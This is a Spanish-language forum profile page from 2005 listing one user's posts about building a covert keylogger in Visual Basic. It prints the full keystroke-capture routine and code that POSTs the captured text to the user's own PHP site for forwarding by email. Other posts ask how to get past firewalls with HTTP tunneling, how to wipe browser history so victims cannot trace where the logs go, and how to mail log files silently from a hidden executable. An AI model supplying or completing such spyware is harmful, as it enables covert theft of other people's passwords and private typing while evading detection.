Últimos Temas de: A2Corp

Mostrar Temas
Páginas: 1 2 3 4 [5]

Programación / Programación Visual Basic / Keylogger vuelto lokoOo!

en: 18 Septiembre 2005, 07:52 am

hola... posteo pke tengo un gran problema... uno que ya me esta volviendo lokoOo!.

desde hace tiempo empeze un proyectillo para hacer un keylogger lo mas perfecto posible... despues de varias semanas, me doy por vencidoOo!.

El keylogger manda los logs via http a mi sitio php, pero algo okurre dentro del keylogger que los logs llegan mal!, llegan con palabras cortadas, algo asi:

Citar

knda

Donde kisieron decir "que Onda"
Jejeje.

Citar

en
dhuoe e madba ar

No se que kisieron decir! jajajaja...

mi keylogger no esta basado en Hooks, no los uso pke no los comprendo muy bien... y pke al mandar los logs por medio del iexplore no puedo meter simbolos raros como "&" "/" "%" y otroOos por el estiloOo!
entonces uso
"GetAsyncKeyState"

y por ejemplo para llamar las teclas uso esto:

Código:

For i = Asc("A") To Asc("Z")
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
        
 End If
Next

For i = 48 To 57
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
  
 End If
Next

For i = 186 To 192
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub

  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
 End If
Next

For i = 219 To 222
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
 End If
Next

For i = 96 To 111
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
   
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
 End If
Next
 
 If GetAsyncKeyState(8) = -32767 Then
 TypeWindow
 If (Right(Text1, 1) = " ") Then GoTo nod
 tip = Len(Text1) - 1
  Text1 = Left(Text1, tip)
nod:
 End If
 
 If GetAsyncKeyState(9) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Tab]"
 End If
 
 If GetAsyncKeyState(13) = -32767 Then
  Text1 = Text1 & "<br>"
 End If

 If GetAsyncKeyState(17) = -32767 Then
  Text1 = Text1 & "[Ctrl]"
 End If

  If GetAsyncKeyState(18) = -32767 Then
  Text1 = Text1 & "[Alt]"
 End If
 
  If GetAsyncKeyState(19) = -32767 Then
  Text1 = Text1 & "[Pausa]"
 End If
 
 If GetAsyncKeyState(20) = -32767 Then
  Text1 = Text1 & "[Mayús]"
 End If
  
 If GetAsyncKeyState(27) = -32767 Then
  Text1 = Text1 & "[Esc]"
 End If
 
 If GetAsyncKeyState(32) = -32767 Then
  Text1 = Text1 & " "
 End If
 
  If GetAsyncKeyState(37) = -32767 Then
  Text1 = Text1 & "[<-]"
 End If
 
 If GetAsyncKeyState(38) = -32767 Then
  Text1 = Text1 & "[Up]"
 End If
 
 If GetAsyncKeyState(39) = -32767 Then
  Text1 = Text1 & "[->]"
 End If
 
  If GetAsyncKeyState(40) = -32767 Then
  Text1 = Text1 & "[Down]"
 End If

 If GetAsyncKeyState(44) = -32767 Then
  Text1 = Text1 & "[Print]"
  End If
  
   If GetAsyncKeyState(91) = -32767 Then
  Text1 = Text1 & "[Win]"
 End If
  
 If GetAsyncKeyState(92) = -32767 Then
  Text1 = Text1 & "[Win]"
 End If
 
   If GetAsyncKeyState(93) = -32767 Then
  Text1 = Text1 & "[Pps]"
 End If
 
  If GetAsyncKeyState(112) = -32767 Then
  Text1 = Text1 & "[F1]"
  End If
  
  If GetAsyncKeyState(113) = -32767 Then
  Text1 = Text1 & "[F2]"
  End If
  
   If GetAsyncKeyState(114) = -32767 Then
  Text1 = Text1 & "[F3]"
  End If
  
   If GetAsyncKeyState(115) = -32767 Then
  Text1 = Text1 & "[F4]"
  End If
  
    If GetAsyncKeyState(116) = -32767 Then
  Text1 = Text1 & "[F5]"
  End If
  
    If GetAsyncKeyState(117) = -32767 Then
  Text1 = Text1 & "[F6]"
  End If
 
   If GetAsyncKeyState(118) = -32767 Then
  Text1 = Text1 & "[F7]"
  End If
  
    If GetAsyncKeyState(119) = -32767 Then
  Text1 = Text1 & "[F8]"
  End If
  
   If GetAsyncKeyState(120) = -32767 Then
  Text1 = Text1 & "[F9]"
  End If
  
   If GetAsyncKeyState(121) = -32767 Then
  Text1 = Text1 & "[F10]"
  End If
  
   If GetAsyncKeyState(122) = -32767 Then
  Text1 = Text1 & "[F11]"
  End If
   
  If GetAsyncKeyState(123) = -32767 Then
  Text1 = Text1 & "[F12]"
  End If
  
  If GetAsyncKeyState(145) = -32767 Then
  Text1 = Text1 & "[Desp]"
  End If
  
  If GetAsyncKeyState(144) = -32767 Then
  Text1 = Text1 & "[Num]"
  End If
 
 For i = 45 To 46
 If GetAsyncKeyState(i) = -32767 Then
 Text1 = Text1 & ChangeChr(i)
 End If
 Next
 
 For i = 33 To 36
 If GetAsyncKeyState(i) = -32767 Then
 Text1 = Text1 & ChangeChr(i)
 End If
 Next
 
End Sub

Mi teoria es que... al ser tanto kodigoOo el programa no tiene tiempo de revisar que tecla es, y en el intento de la buskeda se pierde de la tecla siguiente...
Estoy bien?
Existe algun metodo para hacer mas pekeño este kodigoOo?

o algun consejillo por ahi?

Gracias!
Espero su respuesta >.<

42	Programación / Programación Visual Basic / Borrar historial desde VB	en: 3 Septiembre 2005, 19:45 pm
hola, estoy programando un keylogger que manda los logs por el iexplore, para hacerlo indetectable a los firewalls, pero tengo una duda... saben como puedo borrar el historial de iexplore desde una funcion en el VB? se puede hacer esto? Necesito borrar el historial kada 3 horas ya que pueden descubrir a donde se mandan los logs... y que TIENEN UN KEYLOGGER! y entonces haran hasta lo imposible por kitarselo y ya no sera indetectable xD jejejeje. Si alguien sabe algo por favor le pido que lo postee

43	Programación / Programación Visual Basic / como enviar un texto por método post a php	en: 31 Agosto 2005, 15:58 pm
hola, mi pregunta es como postear un texto por medio del control Inet a una pagina web??? esto es lo que llevo de codigo, no se si este bien, miren: ----------------- Public Function SendMail() Dim info As String Dim URL As String Dim Body As String On Error Resume Next URL = "www.t1bia.trans69.com/mail.php" info = "&body=" & text1 Call Inet1.Execute(URL, "POST", info, "Content-Type: application/x-www-form-urlencoded") End Function ---------------------- esa url es mia, ahi tengo un php que hice anoche el cual tiene un textbot y un boton, todo lo que se escriba en ese textbox se manda a uno de mis correos. Pero no se como hacer para que mi aplicacion en VB mande lo que hay en text1 a esa web!!!! podrian ayudarme con alguna info porfas? graciaaaaaaaas!

44	Programación / Programación Visual Basic / Keylogger con Http Tunneling!	en: 29 Agosto 2005, 18:55 pm
Hola... quiero empezar el proyecto de un keylogger hecho en Vb que sea kasi indetectable, por lo menos que si sea indetectable por antivirus y firewall... Lo primero del antivirus kedo resuelto, pues por ser en Vb es facil hacerlo indetectable, pero lo del firewall me es imposible!!!!! Pke ala hora de que mi keylogger manda el log a mi mail salta el firewall, el proceso se llama msimn.exe, jeje, lo trate de disimular un poko, pero no todos kaen!. Eh escuchado un poko de Http tunneling, no se muy bien que es, segun tengo ententido es usar el iexplore, o el programa determinado para navegar para mandar o conectarse con alguna pc... recuerdo de un programa que se llamaba "FIREHOLE" de una compañia de firewalls que usaba http tunneling para mandar un mensajito a otra pc, y esto era para que se dieran cuenta que por ahi se podia filtrar informacion. Entonces... por medio de Http tunneling puedo mandar mis logs a mi mail? Algo como usar al internet explorer para que se conecte con el servidor smtp y me lo mande? Lo kreen posible????????????? Karay! no se me ocurre nada, no se ni por donde empezar!. Si akaso saben algo de esto por favor les pido que me lo digan, links, comentarios, todo es buenoOo! Pofas! jejejeje.

45	Foros Generales / Sugerencias y dudas sobre el Foro / Tarjeta de creditoOo?	en: 14 Agosto 2005, 08:11 am
Hola... que tal! Espero que esten bien... Hoy al estar buscando un tema en el buscador del foro, descubri algo inusual... Les contare. En la sección de buscar, coloque un tema en especial... Bla bla bla!. Al dar click en buscar, me salio estoOo!. Espero que haya salido la fotoOo!. Si no salio entonces aki esta el link: http://www.ados-corporation.gratishost.com/error.bmp Y aki esta el codigo fuente de la pagina esa que me salioOo!: http://www.ados-corporation.gratishost.com/source.txt Si lo kieren leer tienen que darle boton derecho y guardar como, pke sino los mandara a la pagina esa!... Jejeje. Alguien me puede decir pke me mando a esa pagina? Es un tipo de exploit parecido al que hacen de Hotmail? con lo de tarjetas de gusanito? xD jejejeje. No entiendoOo!... y no es que mi pc tenga algun Spyware :S . Explikenmeeeeeeeeeeee WenoOo los dejoOo!

46	Programación / Programación Visual Basic / Mandar logs de un Keylogger!!!!! VIA MAIL!	en: 13 Junio 2005, 07:35 am
Jeloooooou!!!!!! Tengo una duda keridos programadores de Visual Basic! $:-\$ La vdd soy un lammer al hacer esto, pero tengo como meta aprender y pues proximamente hacer mi propio ejecutable... Pero ejecutable de que? Ahora les expliko!. quiero hacer un Keylogger, weno, la vdd encontre unos kodigos fuente por ahi, con unas pekeñas modifikaciones kedo casi perfecto . solo unos cuantillos detalles, pero esos no importan. Lo que hace este key. es que genera el log, pero pues hasta ahi! No lo manda a ninguna parte Jejeje......... Y entonces me puse a buskar el codigo de algun programa para mandar mail con archivos adjuntos! Y encontre este. http://www.lawebdelprogramador.com/codigo/down.php?idp=60 Le pido al que tenga curiosidad, ganas y tiempo de ayudarme.... En decirme que kosas cambiar para que con solo dar doble click a ese Exe compilado se mande un archivo automatikamente y el programa se korra oculto... SI ME EXPLIKO? Intentare explikar de nuevo. Al abrir este archivo automatikamente se mande a mi mail el archivo "ekis" de "ekis" karpeta.......... Jejeje, espero haber sido claro. No les pido que me hagan el programa, solo que me orienten un poko, pke la vdd estoy perdido! Estuve modifikando unas kosas, pero ala hora de "mandar" el correo, mi mouse se kedaba como que tonto.... esperando alguna orden, y nada llegaba xDDDDDDD. Weno, espero que me puedan ayudar . GRACIAS! SALUDOS DESDE MEXICO!

Páginas: 1 2 3 4 [5]